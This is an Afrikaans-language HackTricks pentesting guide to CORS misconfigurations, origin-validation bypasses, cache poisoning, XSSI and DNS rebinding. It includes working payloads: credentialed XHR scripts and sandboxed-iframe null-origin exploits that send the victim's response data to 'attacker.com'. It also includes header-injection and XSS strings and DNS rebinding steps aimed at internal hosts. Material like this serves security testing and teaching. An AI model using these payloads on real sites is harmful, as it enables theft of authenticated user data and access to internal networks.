CORS - Miskonfigurasies & Bypass

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is CORS?

Cross-Origin Resource Sharing (CORS) standaard stel servers in staat om te bepaal wie toegang tot hul bronne kan kry en watter HTTP-aanvraagmetodes vanaf eksterne bronne toegelaat word.

’n same-origin beleid vereis dat ’n server wat ’n hulpbron versoek en die server wat die hulpbron aanbied dieselfde protokol (bv. http://), domeinnaam (bv. internal-web.com), en poort (bv. 80) deel. Onder hierdie beleid mag slegs webblaaie vanaf dieselfde domein en poort toegang tot die bronne hê.

Die toepassing van die same-origin beleid in die konteks van http://normal-website.com/example/example.html word soos volg geïllustreer:

URL wat geraadpleeg wordToegang toegelaat?
http://normal-website.com/example/Ja: Identiese protokol, domein en poort
http://normal-website.com/example2/Ja: Identiese protokol, domein en poort
https://normal-website.com/example/Nee: Ander protokol en poort
http://en.normal-website.com/example/Nee: Ander domein
http://www.normal-website.com/example/Nee: Ander domein
http://normal-website.com:8080/example/Nee: Ander poort*

*Internet Explorer ignoreer die poortnommer by die afdwing van die same-origin beleid, en laat dus hierdie toegang toe.

Access-Control-Allow-Origin Header

Hierdie header kan meervoudige origins, ’n null waarde, of ’n wildcard * toelaat. Echter, geen blaaier ondersteun meervoudige origins nie, en die gebruik van die wildcard * is aan beperkings onderhewig. (Die wildcard moet alleen gebruik word, en dit mag nie saam met Access-Control-Allow-Credentials: true gebruik word nie.)

Hierdie header word deur ’n server uitgereik as antwoord op ’n cross-domain hulpbronversoek wat deur ’n webwerf geïnisieer is, met die blaaier wat outomaties ’n Origin header byvoeg.

Access-Control-Allow-Credentials Header

Per standaard word cross-origin versoeke sonder credentials gemaak, soos cookies of die Authorization header. ’n Cross-domain server kan egter die lees van die respons toelaat wanneer credentials gestuur word deur die Access-Control-Allow-Credentials header op true te stel.

As dit op true gestel is, sal die blaaier credentials stuur (cookies, authorization headers, of TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight versoek

Verstaan pre-flight-versoeke in kruisdomeinkommunikasie

Wanneer ’n kruisdomeinversoek geïnisieer word onder spesifieke omstandighede, soos die gebruik van ’n non-standard HTTP method (enige iets anders as HEAD, GET, POST), die bekendstelling van nuwe headers, of die gebruik van ’n spesiale Content-Type header value, mag ’n pre-flight-versoek vereis word. Hierdie voorlopige versoek, wat die OPTIONS-metode gebruik, dien om die bediener in te lig oor die beoogde kruis-oorsprongversoek se intensies, insluitend die HTTP-metodes en headers wat dit van plan is om te gebruik.

Die Cross-Origin Resource Sharing (CORS)-protokol vereis hierdie pre-flight-kontrole om die uitvoerbaarheid van die versoekte kruis-oorsprong-aksie te bepaal deur die toegelate metodes, headers, en die betroubaarheid van die oorsprong te verifieer. Vir ’n gedetailleerde begrip van watter toestande die behoefte aan ’n pre-flight-versoek omseil, raadpleeg die omvattende gids deur Mozilla Developer Network (MDN).

Dit is van kardinale belang om te let dat die afwesigheid van ’n pre-flight-versoek nie die vereiste dat die respons authorization headers dra, ophef nie. Sonder hierdie headers kan die blaaier die respons van die kruis-oorsprongversoek nie verwerk nie.

Oorweeg die volgende illustrasie van ’n pre-flight-versoek wat daarop gemik is om die PUT-metode te gebruik tesame met ’n pasgemaakte header genaamd Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In reaksie kan die server moontlik headers terugstuur wat die aanvaarde metodes, die toegelate origin, en ander CORS-beleid besonderhede aandui, soos hieronder getoon:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Hierdie header spesifiseer watter headers tydens die werklike versoek gebruik kan word. Dit word deur die server gestel om die toegelate headers in versoeke van die kliënt aan te dui.
  • Access-Control-Expose-Headers: Deur hierdie header informeer die server die kliënt oor watter headers as deel van die response blootgestel kan word, benewens die eenvoudige response-headers.
  • Access-Control-Max-Age: Hierdie header dui aan hoe lank die resultate van ’n pre-flight versoek gecachet kan word. Die server stel die maksimum tyd, in sekondes, wat die inligting wat deur ’n pre-flight versoek teruggegee word, hergebruik mag word.
  • Access-Control-Request-Headers: Word in pre-flight versoeke gebruik, hierdie header word deur die kliënt gestel om die server in te lig oor watter HTTP-headers die kliënt in die werklike versoek wil gebruik.
  • Access-Control-Request-Method: Hierdie header, ook in pre-flight versoeke gebruik, word deur die kliënt gestel om aan te dui watter HTTP-metode in die werklike versoek gebruik sal word.
  • Origin: Hierdie header word outomaties deur die browser gestel en dui die oorsprong van die cross-origin versoek aan. Dit word deur die server gebruik om te beoordeel of die inkomende versoek toegestaan of geweier moet word gebaseer op die CORS-beleid.

Neem kennis dat gewoonlik (afhangend van die content-type en gestelde headers) in ’n GET/POST request no pre-flight request is sent (die versoek word direk gestuur), maar as jy die headers/body van die response wil toegang kry, moet dit ’n Access-Control-Allow-Origin header bevat wat dit toelaat.
Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).

Pre-flight versoek vir lokale netwerkversoeke

  1. Access-Control-Request-Local-Network: Hierdie header word in die kliënt se versoek ingesluit om aan te dui dat die navraag op ’n plaaslike netwerkbron gemik is. Dit dien as ’n merker om die server in te lig dat die versoek van binne die plaaslike netwerk afkomstig is.
  2. Access-Control-Allow-Local-Network: In respons gebruik servers hierdie header om te kommunikeer dat die versoekte hulpbron toegestaan is om met entiteite buite die plaaslike netwerk gedeel te word. Dit dien as groen lig vir die deel van hulpbronne oor verskillende netwerkgrense, wat beheerde toegang verseker terwyl sekuriteitsprotokolle gehandhaaf word.

A geldige response wat die plaaslike netwerkversoek toelaat moet ook in die response die header Access-Controls-Allow-Local_network: true hê :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Let daarop dat die linux 0.0.0.0 IP werk om hierdie vereistes te bypass om toegang tot localhost te kry aangesien daardie IP-adres nie as “local” beskou word nie.

Dit is ook moontlik om bypass the Local Network requirements as jy die public IP address of a local endpoint gebruik (soos die public IP van die router). Omdat in verskeie gevalle, selfs as die public IP bereik word, as dit from the local network, sal toegang toegestaan word.

Wildcards

Let daarop dat selfs al mag die volgende konfiguratie uiters permissief lyk:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Dit word nie deur blaaiers toegelaat nie en daarom sal inlogbewyse nie saam met die versoek gestuur word wat hiermee toegelaat sou word nie.

Uitbuitbare miskonfigurasies

Daar is waargeneem dat die instelling van Access-Control-Allow-Credentials op true ’n voorvereiste is vir die meeste werklike aanvalle. Hierdie instelling laat die blaaier toe om inlogbewyse te stuur en die response te lees, wat die aanval se doeltreffendheid verhoog. Sonder dit verminder die voordeel daarvan om ’n blaaier ’n versoek te laat doen vergelykbaar met om dit self te doen, aangesien dit onuitvoerbaar raak om ’n gebruiker se cookies te benut.

Uitsondering: Netwerkligging as verifikasie uitbuit

Daar is ’n uitsondering waar die slagoffer se netwerkligging as ’n vorm van verifikasie dien. Dit maak dit moontlik om die slagoffer se blaaier as ’n proxy te gebruik, wat IP-gebaseerde verifikasie omseil om toegang tot intranet-toepassings te kry. Hierdie metode het ’n soortgelyke impak as DNS rebinding maar is eenvoudiger om te benut.

Weerspieëling van Origin in Access-Control-Allow-Origin

Die werklike scenario waar die Origin-header se waarde in Access-Control-Allow-Origin weerspieël word, is teoreties onwaarskynlik weens beperkings op die kombinasie van hierdie headers. Ontwikkelaars wat egter CORS vir meerdere URL’s wil toelaat, kan die Access-Control-Allow-Origin-header dinamies genereer deur die Origin-header se waarde te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer ’n aanvaller ’n domein gebruik met ’n naam wat ontwerp is om legitiem te lyk en sodoende die valideringslogika mislei.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Uitbuiting van die null oorsprong

Die null oorsprong, gespesifiseer vir situasies soos omleidings of plaaslike HTML-lêers, beklee ’n unieke posisie. Sommige toepassings plaas hierdie oorsprong op ’n whitelist om plaaslike ontwikkeling te vergemaklik, wat onbedoeld enige webwerf toelaat om ’n null oorsprong na te boots via ’n sandboxed iframe, en sodoende CORS-beperkings te omseil.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Wanneer jy op ’n domein-whitelist stuit, is dit noodsaaklik om na omseilingsmoontlikhede te toets, soos om die aanvaller se domein aan ’n gewitlyste domein te heg of subdomain takeover-kwesbaarhede uit te buit. Verder kan regular expressions wat vir domeinvalidasie gebruik word nuanses in domeinnaamkonvensies oor die hoof sien, wat verdere omseilingsgeleenthede bied.

Advanced Regular Expression Bypasses

Regex patterns fokus tipies op alfanumeriese, punt (.), en koppelstreep (-) karakters en verwaarloos ander moontlikhede. Byvoorbeeld, ’n domeinnaam wat so saamgestel is dat dit karakters bevat wat deur browsers en regex-patrone anders geïnterpreteer word, kan sekuriteitskontroles omseil. Safari, Chrome en Firefox se hantering van underscore-karakters in subdomeine illustreer hoe sulke onderskeidings uitgebuit kan word om domeinvalidasie-logika te omseil.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Ontwikkelaars implementeer dikwels verdedigingsmeganismes om teen CORS-uitbuiting te beskerm deur die domeine te witlys wat toestemming het om inligting te versoek. Ondanks hierdie voorsorgmaatreëls is die stelsel se sekuriteit nie onfeilbaar nie. Die teenwoordigheid van selfs ’n enkele kwesbare subdomein binne die gewitlyste domeine kan die deur oopmaak vir CORS-uitbuiting via ander kwesbaarhede, soos XSS (Cross-Site Scripting).

Om dit te illustreer, oorweeg die scenario waar ’n domein, requester.com, gewitlys is om hulpbronne van ’n ander domein, provider.com, te bekom. Die server-side konfigurasie kan ongeveer soos volg lyk:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

In hierdie opstelling word alle subdomeine van requester.com toegang toegestaan. Indien egter ’n subdomein, byvoorbeeld sub.requester.com, gekompromitteer is met ’n XSS-kwetsbaarheid, kan ’n aanvaller hierdie swakheid misbruik. Byvoorbeeld, ’n aanvaller met toegang tot sub.requester.com kan die XSS-kwetsbaarheid uitbuit om CORS-beleide te omseil en kwaadwillig toegang tot hulpbronne op provider.com te verkry.

Spesiale Karakters

PortSwigger’s URL validation bypass cheat sheet het gevind dat sommige blaaiers vreemde karakters in domeinnames ondersteun.

Chrome en Firefox ondersteun onderstrepingsteken _ wat regexes kan omseil wat geïmplementeer is om die Origin header te valideer:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari is selfs meer laks en aanvaar spesiale karakters in die domeinnaam:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Ander snaakse URL-truuks

URL Format Bypass

Server-side cache poisoning

From this research

Dit is moontlik dat deur server-side cache poisoning te misbruik via HTTP header injection, ’n stored Cross-Site Scripting (XSS)-kwetsbaarheid veroorsaak kan word. Hierdie scenario ontstaan wanneer ’n toepassing versuim om die Origin-kop vir onwettige karakters te sanitiseer, wat veral ’n kwesbaarheid skep vir Internet Explorer- en Edge-gebruikers. Hierdie blaaiers beskou (0x0d) as ’n geldige HTTP header terminator, wat lei tot HTTP header injection vulnerabilities.

Kyk na die volgende request waar die Origin-kop gemanipuleer word:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer en Edge interpreteer die reaksie as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Alhoewel dit nie prakties is om hierdie kwesbaarheid direk te misbruik deur ’n web browser ’n foutief gevormde header te laat stuur nie, kan ’n gekraftigde versoek handmatig gegenereer word met gereedskap soos Burp Suite. Hierdie metode kan daartoe lei dat ’n server-side cache die response stoor en per ongeluk aan ander bedien. Die gekraftigde payload poog om die bladsy se karakterstel na UTF-7 te verander, ’n karakterkodering wat dikwels met XSS-kwesbaarhede geassosieer word omdat dit karakters kan enkodeer op ’n manier wat in sekere kontekste as script uitgevoer kan word.

Vir verdere lees oor stored XSS-kwesbaarhede, sien PortSwigger.

Let op: Die uitbuiting van HTTP header injection-kwesbaarhede, veral deur server-side cache poisoning, beklemtoon die kritieke belangrikheid van die validering en sanitering van alle gebruiker-geskepte insette, insluitend HTTP headers. Gebruik altyd ’n robuuste sekuriteitsmodel wat inset-validering insluit om sulke kwesbaarhede te voorkom.

Client-Side cache poisoning

Uit hierdie navorsing

In hierdie scenario word waargeneem dat ’n webbladsy die inhoud van ’n custom HTTP header weerspieël sonder behoorlike enkodering. Spesifiek weerspieël die webbladsy die inhoud wat in ’n X-User-id header ingesluit is, wat kwaadwillige JavaScript kan bevat, soos gedemonstreer deur die voorbeeld waar die header ’n SVG image tag bevat wat ontwerp is om JavaScript-kode by laai uit te voer.

Cross-Origin Resource Sharing (CORS) policies laat die stuur van custom headers toe. Maar as die response weens CORS-restriksies nie direk deur die browser gerender word nie, mag die nut van so ’n injectie beperk lyk. Die kritieke punt kom egter by die browser se cache-gedrag. As die Vary: Origin header nie gespesifiseer is nie, word dit moontlik dat die kwaadwillige response deur die browser gecache word. Daarna kan hierdie gecachte response direk gerender word wanneer na die URL genavigeer word, wat die behoefte aan direkte rendering tydens die aanvanklike versoek omseil. Hierdie meganisme verbeter die betroubaarheid van die aanval deur client-side caching te benut.

Om hierdie aanval te illustreer, word ’n JavaScript-voorbeeld verskaf wat bedoel is om in die omgewing van ’n webbladsy uitgevoer te word, byvoorbeeld via JSFiddle. Hierdie script voer ’n eenvoudige aksie uit: dit stuur ’n versoek na ’n gespesifiseerde URL met ’n custom header wat die kwaadwillige JavaScript bevat. Nadat die versoek suksesvol voltooi is, probeer dit na die teiken-URL navigeer, wat moontlik die uitvoering van die geïnjekteerde script kan trigger as die response sonder behoorlike hantering van die Vary: Origin header gecache is.

Hier is ’n samevattende uiteensetting van die JavaScript wat gebruik is om hierdie aanval uit te voer:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is ’n tipe kwesbaarheid wat voordeel trek uit die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne met die script tag ingesluit word nie. Dit is omdat scripts vanaf verskillende domeine ingesluit moet kan word. Hierdie kwesbaarheid stel ’n aanvaller in staat om toegang te kry tot en enige inhoud te lees wat met die script tag ingesluit is.

Hierdie kwesbaarheid raak veral belangrik by dinamiese JavaScript of JSONP (JSON with Padding), veral wanneer ambient-authority-inligting soos cookies vir verifikasie gebruik word. Wanneer ’n hulpbron vanaf ’n ander host gevra word, word die cookies ingesluit, wat dit vir die aanvaller toeganklik maak.

Om hierdie kwesbaarheid beter te verstaan en te versag, kan jy die BurpSuite-plugin gebruik wat beskikbaar is by https://github.com/kapytein/jsonp. Hierdie plugin kan help om potensiële XSSI-kwesbaarhede in jou webtoepassings te identifiseer en aan te spreek.

Lees meer oor die verskillende tipes XSSI en hoe om dit te benut hier.

Probeer om ’n callback parameter by die versoek te voeg. Miskien is die blad voorberei om die data as JSONP te stuur. In daardie geval sal die blad die data terugstuur met Content-Type: application/javascript, wat die CORS policy sal omseil.

Easy (useless?) bypass

Een manier om die Access-Control-Allow-Origin beperking te omseil, is om ’n webtoepassing te vra om ’n versoek namens jou te maak en die response terug te stuur. In daardie scenario sal die credentials van die finale slagoffer egter nie gestuur word nie aangesien die versoek na ’n ander domein gegaan het.

  1. CORS-escape: Hierdie tool bied ’n proxy wat jou versoek saam met sy headers deurstuur, en terselfdertyd die Origin header spoofar om by die versoekte domein te pas. Dit omseil effektief die CORS policy. Hier is ’n voorbeeld van gebruik met XMLHttpRequest:
  2. simple-cors-escape: Hierdie tool bied ’n alternatiewe benadering tot proxying van versoeke. In plaas daarvan om jou versoek soos dit is deur te gee, maak die server sy eie versoek met die gespesifiseerde parameters.

Iframe + Popup Bypass

Jy kan bypass CORS checks soos e.origin === window.origin deur ’n iframe te skep en daaruit ’n nuwe venster te open. Meer inligting op die volgende blad:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL is ’n tegniek wat gebruik word om sekere sekuriteitsmaatreëls te omseil deur DNS-rekords te manipuleer. So werk dit:

  1. Die aanvaller skep ’n webblad en laat die slagoffer dit besoek.
  2. Die aanvaller verander dan die DNS (IP) van hul eie domein om na die slagoffer se webdiens te wys.
  3. Die slagoffer se browser kas die DNS-antwoord, wat ’n TTL (Time to Live) waarde kan hê wat aandui hoe lank die rekord as geldig beskou moet word.
  4. Wanneer die TTL verstryk, maak die slagoffer se browser ’n nuwe DNS-versoek, wat die aanvaller in staat stel om JavaScript-kode op die slagoffer se blad uit te voer.
  5. Deur beheer oor die IP van die slagoffer te behou, kan die aanvaller inligting van die slagoffer insamel sonder om enige cookies na die slagoffer se bediener te stuur.

Dit is belangrik om te noem dat browsers kasmeganismes het wat onmiddellike misbruik van hierdie tegniek kan voorkom, selfs met lae TTL-waardes.

DNS rebinding kan nuttig wees om eksplisiete IP-controles wat deur die slagoffer uitgevoer word te omseil, of vir scenario’s waar ’n gebruiker of bot vir ’n lang tyd op dieselfde blad bly, wat die cache laat verval.

As jy vinnig DNS rebinding wil misbruik, kan jy dienste soos https://lock.cmpxchg8b.com/rebinder.html gebruik.

Om jou eie DNS rebinding-bediener te laat loop, kan jy tools soos DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gebruik. Dit behels om jou lokale poort 53/udp bloot te stel, ’n A-record te skep wat daarna wys (bv. ns.example.com), en ’n NS-record te skep wat na daardie A-subdomein wys (bv. ns.example.com). Enige subdomein van die ns.example.com subdomein sal dan deur jou gasheer opgelos word.

Jy kan ook ’n openbare bediener verken by http://rebind.it/singularity.html vir verdere begrip en eksperimente.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding is ’n ander tegniek wat gebruik word om die caching-verdediging van browsers te omseil en ’n tweede DNS-versoek af te dwing. So werk dit:

  1. Aanvanklik, wanneer die slagoffer ’n DNS-versoek maak, word daarop geantwoord met die aanvaller se IP-adres.
  2. Om die caching-verdediging te omseil, gebruik die aanvaller ’n service worker. Die service worker vloei die DNS-kas vol, wat effektief die gekashte aanvaller-bedienernaam verwyder.
  3. Wanneer die slagoffer se browser die tweede DNS-versoek maak, word nou geantwoord met die IP-adres 127.0.0.1, wat gewoonlik na localhost verwys.

Deur die DNS-kas met die service worker te oorlaai, kan die aanvaller die DNS-oplossingsproses manipuleer en die slagoffer se browser dwing om ’n tweede versoek te maak wat na die verlangde IP oplos.

DNS Rebinding via Cache

’n Ander manier om die caching-verdediging te omseil is deur verskeie IP-adresse vir dieselfde subdomein by die DNS-verskaffer te gebruik. So werk dit:

  1. Die aanvaller stel twee A-records op (of ’n enkele A-record met twee IP’s) vir dieselfde subdomein by die DNS-verskaffer.
  2. Wanneer ’n browser vir hierdie rekords kyk, ontvang dit albei IP-adresse.
  3. As die browser besluit om die aanvaller se IP eers te gebruik, kan die aanvaller ’n payload bedien wat HTTP-versoeke na dieselfde domein uitvoer.
  4. Sodra die aanvaller egter die slagoffer se IP kry, stop hulle om op die slagoffer se browser te reageer.
  5. Die slagoffer se browser, by die ontdekking dat die domein nie reageer nie, gaan voort om die tweede gegewe IP te gebruik.
  6. Deur toegang tot die tweede IP te kry, omseil die browser die Same Origin Policy (SOP), wat die aanvaller toelaat om hierdie gedrag te misbruik en inligting te versamel en te eksfiltreer.

Hierdie tegniek benut die gedrag van browsers wanneer meervoudige IP-adresse vir ’n domein voorsien word. Deur strategiese beheer van antwoorde en die manipulasie van die browser se keuse van IP, kan ’n aanvaller die SOP uitbuit en inligting van die slagoffer verkry.

Warning

Let wel dat om toegang tot localhost te kry jy moet probeer om 127.0.0.1 in Windows te rebind en 0.0.0.0 in linux.
Verskaffers soos godaddy of cloudflare het my nie toegelaat om die ip 0.0.0.0 te gebruik nie, maar AWS route53 het my toegelaat om een A-record met 2 IP’s te skep waarvan een van hulle “0.0.0.0” was

Vir meer inligting kan jy kyk na https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • As internal IPs nie toegelaat word nie, mag hulle vergeet het om 0.0.0.0 te verbied (werk op Linux en Mac)
  • As internal IPs nie toegelaat word nie, reageer met ’n CNAME na localhost (werk op Linux en Mac)
  • As internal IPs nie as DNS-antwoorde toegelaat word nie, kan jy CNAMEs na internal services soos www.corporate.internal terugstuur.

DNS Rebidding Weaponized

Jy kan meer inligting oor die vorige bypass-tegnieke en hoe om die volgende tool te gebruik vind in die praatjie Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin is ’n tool om DNS rebinding aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvaller se DNS-naam na die teikengast se IP te rebind en om aanvalspayloads te bedien om kwesbare sagteware op die teiken te eksploiteer.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH stuur eenvoudig die klassieke RFC1035 DNS wire-formaat binne HTTPS (gewoonlik ’n POST met Content-Type: application/dns-message). Die resolver antwoord steeds met dieselfde resource records, dus bly SOP-brekende tegnieke werk selfs wanneer browsers die aanvaller-gekontroleerde hostname via TLS oplos.

Key observations

  • Chrome (Windows/macOS) en Firefox (Linux) rebindeer suksesvol wanneer dit gekonfigureer is vir Cloudflare, Google, of OpenDNS DoH-resolvers. Vervoer-enkripsie vertraag of blokkeer die aanvalsflow nie vir first-then-second, multiple-answers, of DNS cache flooding strategieë nie.
  • Publieke resolvers sien steeds elke query, maar hulle handhaaf selde die host-tot-IP mapping wat ’n browser moet eerbiedig. Sodra die authoritative server die rebinding-volgorde teruggee, behou die browser die oorspronklike origin-tuple terwyl dit aan die nuwe IP koppel.

Singularity strategies and timing over DoH

  • First-then-second bly die mees betroubare opsie: die eerste lookup gee die aanvaller-IP wat die payload bedien, elke latere lookup gee die interne/localhost IP. Met tipiese browser DNS-kas flip dit verkeer in ~40–60 sekondes, selfs wanneer die recursive resolver slegs oor HTTPS bereikbaar is.
  • Multiple answers (fast rebinding) bereik steeds localhost in <3 sekondes deur met twee A-records te antwoord (aanvaller IP + 0.0.0.0 op Linux/macOS of 127.0.0.1 op Windows) en programmaties die eerste IP daarna swartgat te maak (byvoorbeeld iptables -I OUTPUT -d <attacker_ip> -j DROP) kort ná die blad laai. Firefox se DoH-implementering mag herhaalde DNS-queries uitreik, so die Singularity-oplossing is om die firewall-reël te skeduleer relatief tot die eerste query-timestamp in plaas van die timer op elke query te herlaai.

Beating “rebind protection” in DoH providers

  • Sommige verskaffers (bv. NextDNS) vervang private/loopback-antwoorde met 0.0.0.0, maar Linux en macOS roeteer daardie bestemming graag na plaaslike dienste. Om doelbewus 0.0.0.0 as die tweede rekord terug te stuur pivot dus steeds die origin na localhost.
  • Slegs die direkte A/AAAA-antwoord filter is ondoeltreffend: terugstuur van ’n CNAME na ’n internal-only hostname laat die publieke DoH-resolver die alias deurgee, terwyl browsers soos Firefox terugval na die stelsel-DNS vir die interne zone, wat die resolusie na ’n private IP voltooi wat steeds as die aanvaller-origin behandel word.

Browser-specific DoH behavior

  • Firefox DoH werk in fallback-modus: enige DoH-faling (insluitend ’n onopgeloste CNAME-doel) veroorsaak ’n plaintext lookup via die OS-resolver, wat tipies ’n enterprise DNS-bediener is wat die interne namespace ken. Hierdie gedrag maak die CNAME-bypass betroubaar binne korporatiewe netwerke.
  • Chrome DoH aktiveer slegs wanneer die OS DNS na ’n whitelisted DoH-ondersteunende recursive resolver wys (Cloudflare, Google, Quad9, ens.) en bied nie dieselfde fallback-ketting nie. Interne hostnames wat net op korporatiewe DNS bestaan, sal dus misluk om op te los, maar rebinding na localhost of enige routeerbare adres slaag steeds omdat die aanvaller die hele antwoordstel beheer.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS en verskaf die DoH-endpoint (Cloudflare en NextDNS is ingebou). Chrome/Chromium: aktiveer chrome://flags/#dns-over-https en konfigureer die OS DNS-bedieners na een van Chrome se ondersteunde resolvers (bv. 1.1.1.1/1.0.0.1).
  • Jy kan publieke DoH-APIs direk navraag doen, bv. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq om die presiese rekords te bevestig wat browsers gaan kas.
  • Intersepteer DoH in Burp/ZAP werk steeds omdat dit net HTTPS is (binêre DNS-payload in die body). Vir pakketvlak-inspeksie, voer TLS-sleutels uit (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) voordat jy die browser laat loop en laat Wireshark die DoH-sessies dekripteer met die dns display-filter om te sien wanneer die browser op DoH bly of terugval na klassieke DNS.

Real Protection against DNS Rebinding

  • Gebruik TLS in interne dienste
  • Vereis authentication om data te toegang
  • Valideer die Host header
  • https://wicg.github.io/private-network-access/: Voorstel om altyd ’n pre-flight versoek te stuur wanneer publieke servers interne servers wil bereik

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks